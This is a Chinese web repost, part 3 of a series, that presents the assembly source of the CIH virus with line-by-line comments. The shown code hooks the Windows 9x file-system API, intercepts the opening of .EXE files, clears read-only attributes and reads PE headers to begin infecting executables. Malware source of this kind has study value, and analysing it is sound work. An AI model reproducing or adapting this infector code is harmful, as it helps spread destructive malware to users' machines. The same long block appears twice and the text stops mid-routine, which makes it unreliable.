病毒程序源码实例剖析-CIH病毒[3]
程序员文章站
2022-05-10 21:38:33
...
jmp ExitRing0Init ;退出Ring0级
;合并后的代码大小
CodeSizeOfMergeVirusCodeSection = offset $
;新的IFSMgr_InstallFileSystemApiHook功能调用
InstallFileSystemApiHook:
push ebx
call @4
@4:
pop ebx ;获得当前指令的偏移地址
add ebx, FileSystemApiHook-@4 ;加上偏移的差等于FileSystemApiHook的偏移
push ebx
int 20h ;调用Vxd移去指向FileSystemApiHook的钩子
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ;使用eax、ecx、edx和flags寄存器
pop eax
;调用原来的IFSMgr_InstallFileSystemApiHook功能连接FileSystemApiHook钩子
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ;调整OldFileSystemApiHook地址
pop eax
pop ebx
ret
OldInstallFileSystemApiHook dd ;原来的InstallFileSystemApiHook调用地址
;IFSMgr_FileSystemHook调用入口
FileSystemApiHook:
@3 = FileSystemApiHook
push ad ;保存寄存器
call @5
@5:
pop esi ; mov esi, offset ;esi为当前指令的偏移
add esi, VirusGameDataStartAddress-@5 ;esi为FileSystemApiHook的偏移
;加VirusGameDataStartAddress的偏移之差等于VirusGameDataStartAddress的偏移
;测试“忙”标志,“忙”则转到pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc
;如果没有打开文件,则转到prevhook
lea ebx, [esp+20h+04h+04h] ;ebx为FunctionNum的地址
;文件系统钩子的调用格式如下
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
;判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去
cmp dword ptr [ebx], 00000024h
jne prevhook
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置“忙”标志为“忙”
;获得文件路径指定的驱动器号,然后把驱动器名称放到FileNameBuffer中
;如果驱动器号为03h,则说明该盘是C盘
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
push esi ;保存
mov al, [ebx+04h] ;ebx+4为磁盘号的地址
;是否UNC(universal naming conventions)地址,如果是就转CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax ;处理成"X:"的形式,即在盘符后面增加一个冒号
inc esi
inc esi
;把Canonicalized Unicode的字符转换为普通的BCS字符集,调用方法
;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
;unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;字符集
push FileNameBufferSize ;字符长度
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;Uni字符首址
push esi ;BCS字符首址
int 20h ;调用UniToBCSPath
UniToBCSPath = $
dd 00400041h 调用id
add esp, 04h*04h
;判断文件是否是EXE文件
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
;以下信息为调试用
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
;判断文件是否存在,如果不存在,则转向DisableOnBusy处
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
;获得文件属性
mov ax, 4300h
int 20h ;调用IFSMgr_Ring0_FileIO获得文件属性的功能
IFSMgr_Ring0_FileIO = $
dd 00400032h ;调用号
jc DisableOnBusy
push ecx
;获得IFSMgr_Ring0_FileIO地址
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
;判断是否只读文件,如果是,则修改文件属性,否则转向OpenFile处
test cl, 01h
jz OpenFile
mov ax, 4301h
xor ecx, ecx
call edi ;调用IFSMgr_Ring0_FileIO修改文件属性的功能,使文件可写
;打开文件
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx ;文件属性
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi为文件名首址
call edi ;调用IFSMgr_Ring0_FileIO打开文件的功能
xchg ebx, eax ;在ebx中保存文件句柄
;是否需要恢复文件属性(有写属性就不需要恢复了)
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
;恢复文件属性
mov ax, 4301h
call edi ;恢复文件属性
;文件打开是否成功,如果不成功,则转向DisableOnBusy处
IsOpenFileOK:
popf
jc DisableOnBusy
;文件打开成功
push esi ;把文件名数据区首址入栈
pushf ;CF = 0,保存标志位
add esi, DataBuffer-@7 ;esi指向数据区首址
;获得新文件头的偏移
xor eax, eax
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)
;为了达到使病毒代码长度最少的目的,把eax保存到ebp
mov ebp, eax
push 00000004h ;读取4个字节
pop ecx
push 0000003ch ;读取DOS文件头偏移3ch处的Windows文件头首部偏移
pop edx
call edi ;读文件到esi
mov edx, [esi] ;Windows文件头首部偏移放到edx
; 获得图形文件头的PE标记和已感染标记
dec edx
mov eax, ebp ;功能号
call edi ;读文件到esi
;判断是否是PE,如果是,进一步判断是否已经感染过
;判断是否是WinZip自解压文件,如果是,就不感染 Self-Extractor *
cmp dword ptr [esi], 00455000h ;判断是否是PE文件(标志"PE/0/0")
jne CloseFile ;不是就关闭文件
;如果是PE文件,且没有被感染,就开始感染该文件
push ebx ;保存文件句柄
push 00h
;设置病毒感染标记
push 01h ;标记大小
push edx ;edx指向PE文件头偏移00h
push edi ;edi为IFSMgr_Ring0_FileIO的地址
mov dr1, esp ;保存esp
;设置 NewAddressOfEntryPoint入口
push eax
;读文件头
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ;要读2个字节
add edx, 07h ;PE文件头+07h为NumberOfSections(块个数)
call edi ;读出NumberOfSections(块个数)到esi
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ;文件指针
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; 缓冲区地址
;把edx的值放到文件病毒代码块表表的开始位置
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移
;获得病毒代码块表的大小
mov al, SizeOfScetionTable ;每个块表项的大小
mov cl, (NumberOfSections-@8)[esi]
mul cl ;每个块表项乘以块个数等于块表大小
; 设置病毒代码块表
lea esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)
;合并后的代码大小
CodeSizeOfMergeVirusCodeSection = offset $
;新的IFSMgr_InstallFileSystemApiHook功能调用
InstallFileSystemApiHook:
push ebx
call @4
@4:
pop ebx ;获得当前指令的偏移地址
add ebx, FileSystemApiHook-@4 ;加上偏移的差等于FileSystemApiHook的偏移
push ebx
int 20h ;调用Vxd移去指向FileSystemApiHook的钩子
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ;使用eax、ecx、edx和flags寄存器
pop eax
;调用原来的IFSMgr_InstallFileSystemApiHook功能连接FileSystemApiHook钩子
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ;调整OldFileSystemApiHook地址
pop eax
pop ebx
ret
OldInstallFileSystemApiHook dd ;原来的InstallFileSystemApiHook调用地址
;IFSMgr_FileSystemHook调用入口
FileSystemApiHook:
@3 = FileSystemApiHook
push ad ;保存寄存器
call @5
@5:
pop esi ; mov esi, offset ;esi为当前指令的偏移
add esi, VirusGameDataStartAddress-@5 ;esi为FileSystemApiHook的偏移
;加VirusGameDataStartAddress的偏移之差等于VirusGameDataStartAddress的偏移
;测试“忙”标志,“忙”则转到pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc
;如果没有打开文件,则转到prevhook
lea ebx, [esp+20h+04h+04h] ;ebx为FunctionNum的地址
;文件系统钩子的调用格式如下
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
;判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去
cmp dword ptr [ebx], 00000024h
jne prevhook
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置“忙”标志为“忙”
;获得文件路径指定的驱动器号,然后把驱动器名称放到FileNameBuffer中
;如果驱动器号为03h,则说明该盘是C盘
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
push esi ;保存
mov al, [ebx+04h] ;ebx+4为磁盘号的地址
;是否UNC(universal naming conventions)地址,如果是就转CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax ;处理成"X:"的形式,即在盘符后面增加一个冒号
inc esi
inc esi
;把Canonicalized Unicode的字符转换为普通的BCS字符集,调用方法
;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
;unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;字符集
push FileNameBufferSize ;字符长度
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;Uni字符首址
push esi ;BCS字符首址
int 20h ;调用UniToBCSPath
UniToBCSPath = $
dd 00400041h 调用id
add esp, 04h*04h
;判断文件是否是EXE文件
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
;以下信息为调试用
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
;判断文件是否存在,如果不存在,则转向DisableOnBusy处
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
;获得文件属性
mov ax, 4300h
int 20h ;调用IFSMgr_Ring0_FileIO获得文件属性的功能
IFSMgr_Ring0_FileIO = $
dd 00400032h ;调用号
jc DisableOnBusy
push ecx
;获得IFSMgr_Ring0_FileIO地址
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
;判断是否只读文件,如果是,则修改文件属性,否则转向OpenFile处
test cl, 01h
jz OpenFile
mov ax, 4301h
xor ecx, ecx
call edi ;调用IFSMgr_Ring0_FileIO修改文件属性的功能,使文件可写
;打开文件
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx ;文件属性
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi为文件名首址
call edi ;调用IFSMgr_Ring0_FileIO打开文件的功能
xchg ebx, eax ;在ebx中保存文件句柄
;是否需要恢复文件属性(有写属性就不需要恢复了)
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
;恢复文件属性
mov ax, 4301h
call edi ;恢复文件属性
;文件打开是否成功,如果不成功,则转向DisableOnBusy处
IsOpenFileOK:
popf
jc DisableOnBusy
;文件打开成功
push esi ;把文件名数据区首址入栈
pushf ;CF = 0,保存标志位
add esi, DataBuffer-@7 ;esi指向数据区首址
;获得新文件头的偏移
xor eax, eax
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)
;为了达到使病毒代码长度最少的目的,把eax保存到ebp
mov ebp, eax
push 00000004h ;读取4个字节
pop ecx
push 0000003ch ;读取DOS文件头偏移3ch处的Windows文件头首部偏移
pop edx
call edi ;读文件到esi
mov edx, [esi] ;Windows文件头首部偏移放到edx
; 获得图形文件头的PE标记和已感染标记
dec edx
mov eax, ebp ;功能号
call edi ;读文件到esi
;判断是否是PE,如果是,进一步判断是否已经感染过
;判断是否是WinZip自解压文件,如果是,就不感染 Self-Extractor *
cmp dword ptr [esi], 00455000h ;判断是否是PE文件(标志"PE/0/0")
jne CloseFile ;不是就关闭文件
;如果是PE文件,且没有被感染,就开始感染该文件
push ebx ;保存文件句柄
push 00h
;设置病毒感染标记
push 01h ;标记大小
push edx ;edx指向PE文件头偏移00h
push edi ;edi为IFSMgr_Ring0_FileIO的地址
mov dr1, esp ;保存esp
;设置 NewAddressOfEntryPoint入口
push eax
;读文件头
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ;要读2个字节
add edx, 07h ;PE文件头+07h为NumberOfSections(块个数)
call edi ;读出NumberOfSections(块个数)到esi
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ;文件指针
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; 缓冲区地址
;把edx的值放到文件病毒代码块表表的开始位置
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移
;获得病毒代码块表的大小
mov al, SizeOfScetionTable ;每个块表项的大小
mov cl, (NumberOfSections-@8)[esi]
mul cl ;每个块表项乘以块个数等于块表大小
; 设置病毒代码块表
lea esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)
以上就是病毒程序源码实例剖析-CIH病毒[3]的内容,更多相关内容请关注PHP中文网(www.php.cn)!
上一篇: PHP 下载文件时自动添加bom头的方法实例_php技巧
下一篇: 如果根据url判断网页内容的显示